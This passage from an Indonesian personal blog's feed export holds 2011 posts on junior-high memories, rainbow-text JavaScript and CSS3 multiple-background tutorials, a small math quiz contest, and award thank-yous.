ikut berpartisipasi dalam permainannya. Langsung saja lihat Videonya (maaf kalau ada kata kata dari teman tidak di sensor)<br /><br /><center><iframe style="padding:5px; border:1px solid #FFF; box-shadow:0 0 3px #ccc;" width="420" height="315" src="http://www.youtube.com/embed/4fCWlfzol7k" frameborder="0" allowfullscreen=""></iframe></center><br /><li><b><i>Kenal Ojan</i></b></li>Nama asli dia adalah<b> Fauzan</b>.. Hmmm apa ya saya lupa, sering di panggil <b>Ojan</b> saja.<br /><br /><span class="Apple-tab-span" style="white-space:pre"> </span>Beeuhh ini pengalaman saya yang mengerikan selama kenal dan ngeliat dia. Yang dimengerikan dari dia itu apa? Dia itu sebenernya orangnya bersifat baik dan hmmm aneh. Meskipun saya tidak pernah sekelas sama dia selama kelas 7 dan kelas 8, tetapi sifat keanehannya itu membuat saya takut. Bukan takut dia Strong, tetapi takut saja. Denger denger dari kuping ke kuping banyak yang melihat sesosok <b>Ojan</b> saat pulang sekolah dia kekantin yang terdapat banyak kucing disana. Ngapain dia disana? <b><i><u>Banting Kucing!!!!!</u></i></b> Sumpah ane pertama kali dengar berita itu langsung terkejut dan kaget, ada apa dengan dia. Ada yang bilang dia itu mengidap penyakit <i>Autisme</i>, ada yang bilang dia <i>Stress</i>, ada yang bilang juga dia lagi <i>iseng iseng</i>. Sampai-sampai guru itu pada tau <b>Ojan</b> berperilaku seperti itu. "<i>jan, dah gak banting kucing lagi jan?</i>" entah kenapa <b>Ojan</b> sangat benci dengan kucing itu.<br /><br /><span class="Apple-tab-span" style="white-space:pre"> </span>Yang bikin saya ngakak adalah astagaaaaa.... Tau anak muda jaman sekarang kan? Tau dengan apa yang dinamakan dengan <b>Shuffle</b>? Dia <b>Shuffle</b>!!!! <b>Shuffle</b>nya bikin orang ngakak. Dia tuh Shuffle bisa tetapi kurang teratur, jadi orang orang pada ngakak gitu. Dah gitu apaan dah yang bikin ngakak parah? <b><i>DIA SHUFFLE DI TENGAH LAPANGAN!</i></b>. pada saat itu jam belajar siswa sedang kosong, guru pada ramap semua. Kesempatan itu ternyata di gunakan oleh<b> Ojan</b> untuk menari dance <b>Shuffle</b> di tengah lapangan. Satu Sekolah berseru kencang kencang "<i>Ojan...! Ojan...! Ojan....! Ojan...! <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif" /></i>" Ojan Ber Shuffle!! Betapa Percaya Dirinya dia hingga berani menampakan dirinya di Tengah Lapangan dan berjoged Shuffle itu. Huahahahaha.... (lupa ngerekam)<br /><br /><li><b><i>Wali Kelas Tergokil</i></b></li><span class="Apple-tab-span" style="white-space:pre"> </span>Waktu saya duduk di bangku SMP kelas 8 saya di pertemukan oleh Wali kelas Baru tentunya di kelas 8-7. Wali kelas itu bernama Situmorang Dikar (wong batak). Dari angkatan ke angkatan selalu diceritakan alkisah tentang <b>Wali kelas</b> berlogat Batak itu dengan hal hal yang Lucu. Tingkah lakunya itu seperti ada yang ganjil gitu dah pokoknya. Kalau ngomong "<b>A</b>" jadi "<b>AaaAA</b>", huahaha tau gak maksudnya apa? <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif" /><br /><br /><span class="Apple-style-span" style="white-space: pre;"> <span class="Apple-tab-span" style="white-space:pre"> </span></span>Kalau Wali kelas tersebut sedang marah kira kira hukuman apa yang di pikirkan sobat y ang dilampiaskan Wali kelas itu? Salah. <b>Di cubit Pipinya!</b>. Belum lagi ada anak baru yang bernama <b>Haqeem</b>, dia tinggi putih keturunan Arab. Setiap dia maju pasti Wali kelas tersebut memegang tangan Haqeem bagai Suami Istri, Upppsssssssss hahahaha. Anak anak selalu teriak "cieeeeee cieeeee...." entah apa maksud dari semua itu, yang tau hanyalah mereka berdua <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif" /><br /><br /><li><b><i>Apa ya?</i></b></li>Saya malu nih menceritakannya disini, semestinya tidak saya publikasikan. Tetapi yaudah deh dari pada gak ada kata kata lain. Tapi tidak disini ah. <a href="http://iloveufatima.blogspot.com/2011/11/begin.html">Disini aja</a>. <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/24.gif" /></ol>Fiuhhhh Saya kira saya telah melaksanakan <b>PR SMP</b> ini dengan baik dan benar, sekarang dimana saya akan membagikannya kepada sahabat sahabit blogger lainnya <img src="http://l.yimg.com/us.yimg.com/i/mesg/emoticons7/19.gif" /> huaaaa aa aa. <div><ol><li><a href="http://om-dayz.blogspot.com/">Om-Dayz</a></li><li><a href="http://mbahqopet.blogspot.com/">Mbah Qopet</a></li><li><a href="http://rama88.blogspot.com/">Rama88</a></li><li><a href="http://dhio89.blogspot.com/">Aldhio</a></li><li><a href="http://www.indoindesign.com/">Indoindesign</a></li><li><a href="http://tipswisatamurah.blogspot.com/">Wisata Murah</a></li><li><a href="http://cek-info.blogspot.com/">Cek Info</a></li><li><a href="http://drisingstar.blogspot.com/">Shinobi Cafe</a></li><li><a href="http://liandriekopuspito.blogspot.com/">Zona Download Gratis</a></li><li><a href="http://akumaugratisan.blogspot.com/">Aku Mau Gratisan</a></li><li><a href="http://socafahrezasblog.blogspot.com/">Socafahreza's Blog</a></li><li><a href="http://tautanpena.blogspot.com/">Tautanpena</a></li><li><a href="http://nurahman-prakoso.blogspot.com/">Nurahman Prakoso</a></li></ol>Bagi yang mendapatkan <b>PR SMP</b> itu, silahkan mengerjakan PR tersebut dengan menuliskan Lima Kenangan Berharga Selama masa masa di dunia <b>SMP</b> Hhehhehee, jangan malu atau sungkan ya mengerjakan PR ini hihihi ^_^</div>Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com144tag:blogger.com,1999:blog-6541701603000981262.post-58882888429944289992011-11-23T05:17:00.000-08:002011-11-24T00:10:47.268-08:00Rainbow Text With Javascript Part 2<style>body{background:url(http://fc03.deviantart.net/fs70/i/2011/317/9/5/_rainbow_png__by_morbid__princess-d4g1twc.png)no-repeat top left,url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0O3GOAeInlev9Ymim3YMF1xcmpL2hC_CPdvQT24-VM2NtbaJYWUDKRlx3Elnz2ZVGoX8DwClNFT-gH9v2k3zRAbKb9RzGq50yuFwcZNva6V1PURQG-0vcFc2LH5ODBOMUIW60CTSFqQU/s1600/kotak.png)repeat;}</style>Halo sobat kembali lagi bersama saya di <a href="http://farixsantips.blogspot.com/">blog ini</a>. Tema kita pada malam hari ini adalah sama seperti postingan sebelumnya atau bisa di katakan lanjutan dari postingan lalu yaitu <a href="http://farixsantips.blogspot.com/2011/11/rainbow-text-with-javascript.html">Rainbow Text With Javascript</a>. Sudah di jelaskan pada postingan <i>sebelumnya</i> bahwa <b>Rainbow Text</b> pada postingan lalu tersebut berfungsi merubah warna Netral menjadi Warna warni atau <b>Rainbow</b>. Karena postingan ini bertemakan sama dengan postingan sebelumnya maka ya <b>Funsinya</b> juga sama. <div><br /></div><div style="padding:10px;border:1px dashed #777;background:#fdfdfd;box-shadow:0 0 3px #777,inset 0 0 3px #ccc;"><span style="font-size:30px;font-family:Gloria Hallelujah;color:#fff;text-shadow:1px 0 0 #111,-1px 0 0 #000,0 1px 0 #111,0 -1px 0 #111,1px 1px 2px #000;">Perbedaannya apa?</span><br />Ada perbedaan dari kedua <b>Text Rainbow Javascript</b> ini antara <b>Rainbow Text</b> pada postingan lama dengan sekarang :<ol><li><b>Text Rainbow</b> lama tidak bisa untuk <b>Link</b>, melainkan hanya untuk <b>Span</b> → <b><span></b> tetapi dengan Rainbow ini bisa untuk semuanya.</li><li>Hasil perubahan dari warna netral ke <b>Pelangi</b> tidak sama, bisa lihat nanti di bawah</li><li><b>Rainbow Text</b> ini dapat bergerak dengan Warnanya</li></ol></div><div><br /></div>Sangat berbeda bukan dengan melihat keterangan keterangan perbedaan tersebut? Namun bagaimana Wujud asli dari <b>Text Rainbow</b> part 2 ini? Bisa dilihat dan di saksikan<b> Demo</b> di bawah ini, sebelumnya aktifkan dulu javascript pada web browser sobat! :<br /><br /><div style="margin-right:10px;float:left;width:370px;border-radius:5px;padding:20px;background:#fff;box-shadow:inset 1px 1px 1px #ccc;"><script src="https://sites.google.com/site/farixsantips/scripts/rainbow2.js" type="text/javascript"></script><a style="text-shadow:1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;font-size:25px;font-family:Gloria Hallelujah;" href="http://farixsantips.blogspot.com/" id="rainbow">Farixsantips.blogspot.com</a><script type="text/javascript">var rainbow=document.getElementById("rainbow"); var rainbowspan=new RainbowSpan(rainbow, 0, 360, 255, 50, 18); rainbowspan.timer=window.setInterval("rainbowspan.moveRainbow()", rainbowspan.speed);</script></div>Terlihat jelas bukan <b>Effect</b> Javascript Rainbow yang ke 2 ini? Ya benar, <b>Effect Rainbow</b> berjalan dari ujung kanan ke ujung kiri dengan warna yang cerah. Bagaimana menurut sobat sendiri jika Trick ini di letakan atau di terapkan di blog apalah sesuai dengan keinginan dan kemauan sobat.<br /><br />Berikut adalah cara supaya agar Rainbow Text ada pada blog sobat?<ol><li><b>Buka blogger</b> sobat dengan password dan ID untuk membukannya.</li><li>Saat di <i>dashboard</i>, klik <b>Layout/Design</b></li><li>Klik <b>Edit HTML</b>, kemudian letakan kode berikut diatas tepat kode <head> :<blockquote><script src="https://sites.google.com/site/farixsantips/scripts/rainbow2.js" type="text/javascript"></script></blockquote></li><li>Kemudian Save Template~</li><li>Belum selesai karena kita belum meletakan mana mana yang akan di jadikan <b>Rainbow Text</b>. Letakan kode berikut di manapun (<i>posting, gadget, atau lain lain</i>)<blockquote><b><a href="http://farixsantips.blogspot.com/" id="rainbow">Farixsantips.blogspot.com</a></b><br /><script type="text/javascript">var rainbow=document.getElementById("rainbow");var rainbowspan=new RainbowSpan(rainbow, 0, 360, 255, 50, 18);rainbowspan.timer=window.setInterval("rainbowspan.moveRainbow()", rainbowspan.speed);</script></blockquote>Kode <span style="font-weight:bold;"><a href="http://farixsantips.blogspot.com/" id="rainbow">Farixsantips.blogspot.com</a></span> bisa di ganti dengan kode <span id="<b>rainbow</b>"></span> , <div id="<b>rainbow</b>"></div> , atau lain lainnya.</li><li>Save!</li></ol>Nah hebat betul bukan untuk effectnya tersebut? Tunggu apa lagi hehe. Kalau ada kata kata yang salah atau tidak bisa, bisa komentar ya.Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com125tag:blogger.com,1999:blog-6541701603000981262.post-13224965240132097222011-11-19T01:38:00.000-08:002011-11-19T20:00:04.553-08:00Rainbow Text With Javascript<style>body{background:url(http://amoebios.wikispaces.com/file/view/rainbow.png/95070988/rainbow.png)no-repeat top center,url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0O3GOAeInlev9Ymim3YMF1xcmpL2hC_CPdvQT24-VM2NtbaJYWUDKRlx3Elnz2ZVGoX8DwClNFT-gH9v2k3zRAbKb9RzGq50yuFwcZNva6V1PURQG-0vcFc2LH5ODBOMUIW60CTSFqQU/s1600/kotak.png)repeat;}</style>Halo sobat kembali berbincang mengenai <b>Tutorial Blog</b> lainnya di sini. Pernah Saya Posting Membuat semua <a href="http://farixsantips.blogspot.com/2010/12/membuat-link-warna-warni.html">Link menjadi Warna Warni</a> pada blog. Maksudnya adalah Ketika sobat mengarahkan Kursor ke arah link, Link tersebut langsung berubah menjadi warna warni. Bisa di bilang sebagai <span style="font-weight: bold; font-style: italic;">Effect Hover</span>, bahasa cssnya.<br /><br />Kali ini berbeda dengan Trick yang sebelumnya itu. Trick ini akan merubah warna netral suatu Text menjadi warna warni secara <b>Horizontal</b>. Jadi warna pelangi dalam suatu <b>Kata</b>,<b> Kalimat</b>, atau <b>Paragraf</b>. Bagaimana sih contohnya? Bisa di lihat di bawah ini (<i>Tolong aktifkan Javascript sobat</i>) :<script src="https://sites.google.com/site/farixsantips/scripts/rainbow.js" type="text/javascript"></script><br /><br /><div style="border-radius:5px;padding:20px;background:#fff;box-shadow:inset 1px 1px 1px #ccc;"><br /><span class="rainbow" style="font-size:45px;text-shadow:1px 1px 1px #000,-1px -1px 1px #000;font-family:Gloria Hallelujah;">RAINBOW TEXT</span><br /><br /><br /><span class="rainbow">Apple pie sweet chocolate bar chupa chups carrot cake faworki. Dessert candy canes powder applicake jujubes. Muffin chupa chups soufflé tootsie roll. Cookie sweet roll ice cream ice cream powder powder tart icing. Chocolate bar tootsie roll jujubes biscuit tart. Sweet roll ice cream cake chocolate bar danish fruitcake soufflé cotton candy. Caramels wafer jelly beans marzipan candy gingerbread apple pie. Jelly-o muffin marzipan carrot cake bear claw. Gummies cupcake lollipop jelly-o chupa chups sesame snaps bonbon. Applicake croissant jelly-o jujubes chocolate toffee. Chupa chups dessert chocolate liquorice biscuit sweet roll. Cheesecake wafer oat cake gummies danish. Chocolate cake sugar plum chocolate cake liquorice.</span></div><br /><br />Bisa dilihat dan disimpulkan bahwa sepanjang apa pun kata itu terlintas dengan menggunakan script <b>Rainbow</b> ini, Kata atau Kalimat akan berubah menjadi Pelangi yang dari ujung <span style="color:red">Merah</span> kembali lagi ke ujung <span style="color:red">Merah</span>.<br /><br /><span class="rainbow" style="font-size:25px;text-shadow:1px 1px 1px #000,-1px -1px 1px #000;font-family:Gloria Hallelujah;">How To Make?</span><br /><ol><li>Buka <b>Blogger.com</b> dengan password dan ID untuk langkah awalnya</li><li>Klik <b>Design/Layout</b></li><li>Klik <b>Edit HTML</b> pada Tab diatas</li><li>Copy dan Paste Code berikut tepat di bawahnya kode <b><head></b><br /><blockquote><script src="https://sites.google.com/site/farixsantips/scripts/rainbow.js" type="text/javascript"></script></blockquote></li><li>Save!</li><li>Kemudian tahap selanjutnya, sobat hanya perlu menambahkan kode <b><span class="rainbow"></b> pada setiap Kata atau Kalimat yang ingin di jadikan <b>Pelangi</b><br />Example :<br /><blockquote><span class="rainbow"><b>Kata Kata Pelangi!</b></span></blockquote></li></ol>Nah, cara tersebut bisa di gunakan di mana saja, Diposting, Gadget, Html Code, dan lain lain. Selamat mencoba jika gagal hubungi saya di Kotak Komentar, tetapi saya yakin tidak akan gagal hehe.Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com128tag:blogger.com,1999:blog-6541701603000981262.post-34723528327111959482011-11-17T02:40:00.000-08:002011-11-26T17:22:19.097-08:00Pulsa Award With Your Brain! - Smart Contest<div style="padding:10px; border:5px solid #fff; box-shadow:inset 0 0 10px #ddd, 1px 1px 1px #777,-1px -1px 1px #777; "><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJQQK8rNtlTMBk-pNzKK1WSFoQ4sDCKAArKzTAT1Op5wIFotIo4tJIu6G6De29Tl_J3drhjCYr8JweUen5GHzka5BX4wDsI4N4-RJPdQXBio2zFcY0qemAkh-VSrQGPErvmeQytFrmHEY/s1600/Pulsa+Award+With+Your+Brain%2521.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 350px; height: 190px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiJQQK8rNtlTMBk-pNzKK1WSFoQ4sDCKAArKzTAT1Op5wIFotIo4tJIu6G6De29Tl_J3drhjCYr8JweUen5GHzka5BX4wDsI4N4-RJPdQXBio2zFcY0qemAkh-VSrQGPErvmeQytFrmHEY/s400/Pulsa+Award+With+Your+Brain%2521.png" alt="" id="BLOGGER_PHOTO_ID_5675923982089008098" border="0" /></a>Halo pemirsa! Salam jumpa untuk kalian semua. Pada kesempatan kali ini saya akan menyelenggarakan Kontes kecil kecilan disini. Kontes disini berbeda dengan kontes lain yang berhubungan dengan <span style="font-weight: bold;">SEO</span>, atau Kalian disuruh nulis <span style="font-weight: bold;">Postingan</span> semacamnya. Tetapi ini adalah <span style="font-weight: bold; font-style: italic;">Smart Contest</span> Atau bisa diakatakan Kontes Cerdas Cermat.<br /><br /><span style="font-weight: bold;">Smart Contest </span>ini Saya dirikan bertujuan untuk mencerdas <s>kehidupan dan ikut melaksanakan ketertiban dunia!</s> serta memperkenalkan kembali fungsi otak yang sudah lama tidak membahas soal soal waktu Zaman Sekolahan. Pada <span style="font-weight: bold;">Smart Contest </span>ini saya pusatkan untuk membahas Soal Matematika yang <span style="font-weight: bold;">50%</span> dikatakan Sulit. Menurut saya hal tersebut memacu saya membuat & mendirikan <span style="font-weight: bold;">Smart Contest </span>ini.<br /><br /><span style="font-weight: bold;">Smart Contest </span>ini hanya berisikan 10 Soal Matematika Kelas <span style="font-weight: bold;">3 SMP Kebawah</span>! Ada alasan jika Soal <span style="font-weight: bold;">SMA</span> tidak di publikasikan, yaitu mungkin karena Saya masih SMA kebawah dan belum begitu faham dengan Materi SMA seperti apa. Soal Matematika ini dalam bentuk Soal <span style="font-weight: bold;">Essay</span> atau <span style="font-weight: bold;">Isian.</span><br /><br /><span class="Apple-style-span">14.00 18/11/2011 s/d 18.00 18/11/2011</span><br /><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpnl1A3skvQfq5hkV26q_soSk-PDAIWcsd9x6hyphenhyphenAkHN5Fu4C11XgIOOCxCx8pT7J_Vj4Y8iRFfl9PJrlpDbLlT9kaIvefLXk72enForq0iRy_ULcQToh1Asp3k41ryCtIU2jOLqXqD7U0/s1600/Soal.png" style="color:red;font-size:40px;text-shadow:0px 1px 2px #000">Click To See The Question</a><br /><br />Jawaban :<br />1) <span style="font-weight: bold;">261.7</span><br />2) <span style="font-weight: bold;">16-8√2</span><br />3) <span style="font-weight: bold;">√<sup>2</sup><sub>√5</sub></span><br />4) <span style="font-weight: bold;">5√3</span><br />5) <span style="font-weight: bold;">6cm</span><br />6) <span style="font-weight: bold;">Rp.3000,00 / 20%</span><br />7) <span style="font-weight: bold;">270 - 120 = 150cm</span><br />8) <span style="font-weight: bold;">√7</span><br />9) <span style="font-weight: bold;">128/10 = 12.8cm</span><br />10) <span style="font-weight: bold;">32√2</span><br /><br /><span style="font-weight: bold; font-style: italic;">Pemenang!</span> [<span style="font-style:italic;">Nomor 2 tadi memang Error, maka di Bonuskan</span>]<br /><div style="border:1px solid #de0101;box-shadow:0 0 3px #ccc,inset 0 0 3px #777;padding:5px;margin:10px 0;background:yellow;"><ol><li><span style="font-weight: bold;">Yudee</span> - <a href="http://cooldieaja.blogspot.com/">All IN ONE BLOG</a> dengan 7 + 1 = <span style="font-weight: bold;">8 Point</span> Jawaban [<span style="font-style: italic;">Rp.25.000,00</span>]<br /></li><li><span style="font-weight: bold;">Nurmayanti Zain</span> - <a href="http://nurmayantizain.blogspot.com/">Kemilau Cahaya Emas</a> dengan 6 + 1 = <span style="font-weight: bold;">7 Point</span> Jawaban [<span style="font-style: italic;">Rp.10.000,00</span>]<br /></li></ol></div>Untuk yang tidak disebutkan berarti tak usah kuatir karena besok atau lusa pasti akan gelar kontes lagi dengan <span style="font-weight: bold;">ketelitian dan sungguh sungguh.<br /></span></div>Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com177tag:blogger.com,1999:blog-6541701603000981262.post-18083080958572862072011-11-13T04:14:00.000-08:002011-11-14T03:07:45.018-08:00Award Sahabat Ke - 5Alhamdulliah pada pertemuan kali ini kita dapat berkumpul di hari yang indah ini disini. Semua karna nikmat-Nya yang di berikan kepada kita semua, Amin. Alhamdullilah juga bahwa saya bisa mencurahkan isi hati saya ini di sini karna perasaan senang yang bisa <span style="font-weight: bold;">membuat</span> saya <span style="font-weight: bold;">membuat</span> postingan untuk <span style="font-weight: bold;">membuat</span> suatu isi agar<span style="font-weight: bold;"> membuat </span>hatiku tenang. Huahahaha "membuat"!<br /><br />Langsung saja, udah dapat di tebak bahwa postingan kali ini bertemakan <span style="font-weight: bold;">Award</span> yang telah di berikan kepada saya ini. Kebetulannya juga bahwa saya akhir akhir ini jarang sekali menerima <span style="font-weight: bold;">Award</span> yang walaupun bagi saya Award itu bukan segalanya <img src="http://www.helpbytes.co.uk/images/smileys/01.gif" alt="smile" /> Tetapi saya tau arti dari Award tersebut. <span style="font-style: italic; font-family:courier new;" >Menurutku </span><span style="font-weight: bold; font-style: italic; font-family:courier new;" >Award</span><span style="font-style: italic; font-family:courier new;" > itu kan suatu penghargaan dimana orang yang menerima Award tersebut merupakan tokoh yang layak di berikan </span><span style="font-style: italic; font-family:courier new;" > </span><span style="font-weight: bold; font-style: italic; font-family:courier new;" >Award</span><span style="font-style: italic; font-family:courier new;" > bagi pemberi</span><span style="font-style: italic;">.</span> Ya arti lainnya bisa sobat jelaskan sendiri di kotak komentar nanti <img src="http://www.helpbytes.co.uk/images/smileys/01.gif" alt="smile" /><br /><br />Penasaran siapa Pemberi Awardnya?<br /><ol><li><a href="http://rama88.blogspot.com/">Rama88</a> <span style="font-weight: bold; font-style: italic;font-family:courier new;" >Sunday, October 30, 2011<br /></span>Url : <a href="http://rama88.blogspot.com/2011/10/beberapa-award-dari-sahabat.html">http://rama88.blogspot.com/2011/10/beberapa-award-dari-sahabat.html</a><span style="font-weight: bold; font-style: italic;font-family:courier new;" ><a href="http://rama88.blogspot.com/2011/10/beberapa-award-dari-sahabat.html"></a><br /><br /><div style="text-align: center;"><img style="width: 185px; height: 170px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiq3nSDwbV2lKaGN5iX-VHG9r4sAm10aExnGpCN2iBB5T6WG1MehUOAt95p7AYaLR12esmqN1ADWW47DkTnwLIXP3o_H4gyo09TUZ_8TpVt-srFtIAGzy9e98YvaHoqaeuA2nwJmtnklw/s320/Awards+Sahabat.png" alt="award" /></div></span><br />Terimakasih ya Rama sudah menyempatkan diri membagi bagikan Award ke blog kumuh ini. Memang waktu itu sempat tertunda beberapa Minggu, yang penting saya posting deh hihi. Maaf ya.</li><li><a href="http://www.indoindesign.com/">Indoindesign</a> <span style=" font-style: italic; font-weight: bold;font-family:courier new;" class="date-header" >Sunday, 13 November 2011</span><br />Url : <a href="http://www.indoindesign.com/2011/11/award-best-friend-indoindesign.html">http://www.indoindesign.com/2011/11/award-best-friend-indoindesign.html</a><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-rPPSBYvsoZ8/Tr6vvoiWlgI/AAAAAAAAA4M/PYKbe7PLjbk/s1600/award+best+friend.png" style="margin-left: 1em; margin-right: 1em;"><img style="width: 289px; height: 192px;" src="http://4.bp.blogspot.com/-rPPSBYvsoZ8/Tr6vvoiWlgI/AAAAAAAAA4M/PYKbe7PLjbk/s400/award+best+friend.png" border="0" /></a></div><br />Terimakasih untuk sobatku <span style="font-style: italic;">Indoindesign</span>. Akhirnya sobat posting tentang <span style="font-weight: bold;">Award</span> juga hihi. </li></ol>Terimakasih ya untuk kalian berdua semoga karna dan bukan karna Award ini kalian berdua Sukses <img src="http://www.helpbytes.co.uk/images/smileys/01.gif" alt="smile" /> hihi. Untuk pengunjung, maaf ya Award ini <span style="font-weight: bold;">bukan</span> Award Estafet <img src="http://www.helpbytes.co.uk/images/smileys/01.gif" alt="smile" />Frzhrdynthttp://www.blogger.com/profile/12265291049851488312noreply@blogger.com107tag:blogger.com,1999:blog-6541701603000981262.post-17081303261882826022011-11-08T05:06:00.000-08:002011-11-09T04:50:33.141-08:00CSS3 Multiple Background<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9iDEyxu0CU539eKTMN77o2rPpXtqMpjuQJ1_yPhRkXLa8hk4_eANsT-ecUtFvQ_QKM1NAFkQ0XjytBbvyOIjjHgR-yH97NAUTeexk63hs8Wu8ZFbPWejKRLKI0HEiaDdz9zD17j1dog0/s1600/background.png"><img style="float: left; margin: 0pt 10px 10px 0pt; cursor: pointer; width: 142px; height: 122px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9iDEyxu0CU539eKTMN77o2rPpXtqMpjuQJ1_yPhRkXLa8hk4_eANsT-ecUtFvQ_QKM1NAFkQ0XjytBbvyOIjjHgR-yH97NAUTeexk63hs8Wu8ZFbPWejKRLKI0HEiaDdz9zD17j1dog0/s400/background.png" alt="" id="BLOGGER_PHOTO_ID_5672958294319890162" border="0" /></a>Kembali lagi bersama saya disini setelah sekian lama tidak berposting postingan baru. Tema kita pada pertemuan kali ini masih tetap sama yaitu <span style="font-weight: bold;">CSS3</span>. Kita akan bicara mengenai <span style="font-weight: bold;">CSS3 </span>Background yang banyak rahasia di dalamnya seperti postingan yang lalu lalu, seperti membuat <a href="http://farixsantips.blogspot.com/2011/11/collection-css3-background-patterns.html">Patterns dengan CSS3 Background</a>. Dalam postingan kali ini kita akan membuktikan bahwa background bisa di<span style="font-weight: bold;"> lipat gandakan</span> atau lebih dari satu.<br /><br />Arti kecilnya adalah dalam suatu Box umumnya (<span style="font-weight: bold;">div</span>) memiliki satu buah background yang menyerupai gambar, dengan cara ini bisa kita di jadikan <span style="font-family:courier new;">dua</span>, <span style="font-family:courier new;">tiga</span>, <span style="font-family:courier new;">empat</span>, <span style="font-family:courier new;">lima</span> atau <span style="font-family:courier new;">enam</span> dan <span style="font-family:courier new;">seterusnya</span> bahkan sampai seribu-pun bisa jika sobat ingin.<br /><br />Sebelum masuk ketahab contoh dalam postingan ini akan lebih baik jika kita melihat <span style="font-weight: bold;">CSS Background Property</span> (Properti CSS). Properti CSS ini di gunakan untuk menentukan efek Background dari suatu Element.<br /><blockquote>background-color:<span style="font-family:courier new;"> <a href="http://farixsantips.blogspot.com/2011/01/kode-warna-html.html">color code html</a></span><br />background-repeat: <span style="font-family:courier new;">no-repeat/</span><a style="font-family: courier new;" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS7KqPNc_uJz5E8z9ZwtDAXTW2_LE-6aDtl2r3llIWXIYlC6CyP33B9_0U9pmptJrAPPxvqc8heT9ijde1wuAFEWuz49goOrRNr9fmA5al6sf50yIZGs3riXmsG_WNE437vKRzcrF8pQ0/s400/repeat.png">repeat-x/repeat-y</a><br />background-image: <span style="font-family:courier new;">url/</span><a style="font-family: courier new;" href="http://farixsantips.blogspot.com/2011/11/collection-css3-background-patterns.html">gradient</a><br />background-attactment: <span style="font-family:courier new;">fixed/relatives/absolute</span><br />background-position: <span style="font-family:courier new;">top/left/bottom/right/ or both</span></blockquote>Dari keterangan <span style="font-weight: bold;">CSS Property</span> diatas itu bisa di jelaskan bahwa masing masing properti berkaitan dengan<span style="font-weight: bold;"> efek gambar</span> tersebut. Berikut contoh dari pada<span style="font-weight: bold;"> CSS3 Multiple Background</span> ini.<br /><style>#multiple {width: 500px;height: 180px;background-image: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTRB9g481hTZiGHTrKrgYco5Vli0N4r8MwfE2Enr0xkCt5u7nzKMNbISCJ04eB_kGqGkejt8thgKP7QOEWLyaityZuPTMjIWpFjNXKREM48IL2lGuNNeSGWg9tYKVyNgVExgB7RXGewqw/s1600/Sheep.png), url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBDteCrUpfvLa1emiUSeeo5Lqv6fcYIzBtTUSTkNt6ceM4K95imfChlBuJxP5HRjyHZv6f42JgM9XvAbcLJRI64YHpf8OX2ah4wvXHtL4SdhmlwmMreznpFcief-sMm2e7PkaTX7XYRY0/s1600/cow.png), url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHupeARQwfGky3JUPSTctDye0JEcAmza30HlkQH6PXqYFuaBCFSTzlVkmDugkOkGAcduBqpg2S7fjbmoMtbGtI9nwTvRoDm5skrZzeaZIUFkOWHoMS4UKvwQWtc_nSOz4W_yyZajf3dDc/s1600/grass.png);background-position: right top, left top, center bottom;background-repeat: no-repeat;border:1px solid #fff;box-shadow:0 0 3px #ccc,inset 0 0 3px #eee;} </style><br /><div style="float:left; margin-right:10px;" id="multiple"></div>Pada Box disamping coba di perhatikan seberapa jauh sobat memperhatikan background nya. Perhatikanlah bahwa Bacground pada box di samping itu merupakan gabungan dari beberapa background lain. Di dalam Box itu terdapat <span style="font-family:courier new;">3</span> <span style="font-family:courier new;">Jumlah</span> <span style="font-family:courier new;">gambar</span> yang berbeda! Bisa sobat lihat disitu ada gambar <span style="font-weight: bold;">Sapi</span>, <span style="font-weight: bold;">Domba</span> dan <span style="font-weight: bold;">Rumput</span> yang sebenarnya mereka adalah gambar yang terpisah.<br /><br />Browser support <span style="margin:5px;background: none repeat scroll 0% 0% rgb(222, 1, 1); box-shadow: 0pt 0pt 2px rgb(204, 204, 204), 0pt 0pt 3px rgb(204, 204, 204) inset; padding: 2px 5px; text-shadow: 0pt 0pt 3px rgb(204, 204, 204);">Mozilla Firefox (<span style="font-weight: bold;">3.6+</span>), Safari/Chrome (<span style="font-weight: bold;">1.0/1.3+</span>), Opera (<span style="font-weight: bold;">10.5+</span>) dan Internet Explorer (<span style="font-weight: bold;">9.0+</span>)</span>. Jadi misalkan sobat tidak atau belum menggunakan Browser browser diatas, sobat belum dapat lihat kehebatan dari pada <span style="font-weight: bold;">CSS3 Multiple Background</span> ini.<br /><br /><span style="font-weight: bold;">KENAPA</span> saya belum memperlihatkan kode script dari <span style="font-weight: bold;">CSS3 Multiple Background</span> yang menggambarkan <span style="font-weight: bold;">Sapi</span>, <span style="font-weight: bold;">Domba</span>, dan <span style="font-weight: bold;">Rumput</span> itu? Sebentar dulu, kode script <span style="font-weight: bold;">CSS</span> akan di tampilkan pada masing masing cara. Bagaimana cara cara tersebut sob? Ini dia!<br /><br /><span style="text-shadow:1px 0px 0px #eee,-1px 0px 0px #fff,0 1px 0 #eee,0 -1px 0 #eee,1px 1px 2px #000;font-size:18px;" >Cara 